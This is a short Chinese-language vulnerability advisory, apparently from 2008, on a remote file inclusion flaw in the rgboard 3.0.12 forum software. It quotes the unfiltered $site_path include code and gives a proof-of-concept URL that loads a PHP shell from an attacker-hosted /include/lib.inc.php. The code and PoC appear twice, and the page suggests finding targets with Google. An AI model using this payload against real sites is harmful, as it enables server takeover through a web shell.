rgboard 3.0.12 遠(yuǎn)程文件包含漏洞
更新時間：2008年05月07日 19:28:01 作者：
Infos: rgboard 3.0.12 遠(yuǎn)程文件包含漏洞
Author: Flyh4t[w.s.t]
rgboard 3.0.12 是韓國的一個論壇程序,可以用google搜索rgboard查看使用的網(wǎng)站
vul code:
\include\bbs.lib.inc.php：
if (!defined('BBS_LIB_INC_INCLUDED')) {
define('BBS_LIB_INC_INCLUDED', 1);
// *– BBS_LIB_INC_INCLUDED START –*
if(!$site_path) $site_path='./';
require_once “{$site_path}include/lib.inc.php”;
//$site_path沒有過濾直接放過來包含了
poc:
在你的網(wǎng)站放個phpshell,目錄和文件名為/include/lib.inc.php
然后訪問
httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/
\include\bbs.lib.inc.php：
if (!defined('BBS_LIB_INC_INCLUDED')) {
define('BBS_LIB_INC_INCLUDED', 1);
// *– BBS_LIB_INC_INCLUDED START –*
if(!$site_path) $site_path='./';
require_once “{$site_path}include/lib.inc.php”;
//$site_path沒有過濾直接放過來包含了
poc:
在你的網(wǎng)站放個phpshell,目錄和文件名為/include/lib.inc.php
然后訪問
httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/
您可能感興趣的文章:
- RGB顏色值轉(zhuǎn)HTML十六進制(HEX)代碼的JS函數(shù)
- Android-如何將RGB彩色圖轉(zhuǎn)換為灰度圖方法介紹
- javascript實現(xiàn)十六進制顏色值（HEX）和RGB格式相互轉(zhuǎn)換
- 讓IE支持RGBa的背景色的代碼
- JavaScript 十六進制RGB色碼轉(zhuǎn)換器
- php Imagick獲取圖片RGB顏色值
- php Hex RGB顏色值互換的使用
- javascript實現(xiàn)rgb顏色轉(zhuǎn)換成16進制格式
- PHP實現(xiàn)將顏色hex值轉(zhuǎn)換成rgb的方法
- RGB和YUV 多媒體編程基礎(chǔ)詳細(xì)介紹
相關(guān)文章
IIS漏洞整理大全...2007-01-01
視窗操作系統(tǒng)密碼體系的弱點及對策(圖)...2007-01-01
曉宇聽幽網(wǎng)站內(nèi)容管理系統(tǒng) V2.0
曉宇聽幽網(wǎng)站內(nèi)容管理系統(tǒng) V2.0...2007-01-01
2005年黑客聚焦：追蹤垃圾郵件(圖)...2007-01-01
關(guān)于mysql 3.0的注射的一點思路...2007-01-01
AngelShell：讓所有正向程序?qū)崿F(xiàn)反向連接（應(yīng)用篇）
AngelShell：讓所有正向程序?qū)崿F(xiàn)反向連接（應(yīng)用篇）...2007-01-01
MSHTA漏洞為黑客大開遠(yuǎn)程控制之門(圖)...2007-01-01
游戲外掛分析2007-01-01
Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范
Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范...2007-02-02
網(wǎng)吧破解:讓你在網(wǎng)吧上霸王網(wǎng)
網(wǎng)吧破解:讓你在網(wǎng)吧上霸王網(wǎng)...2007-01-01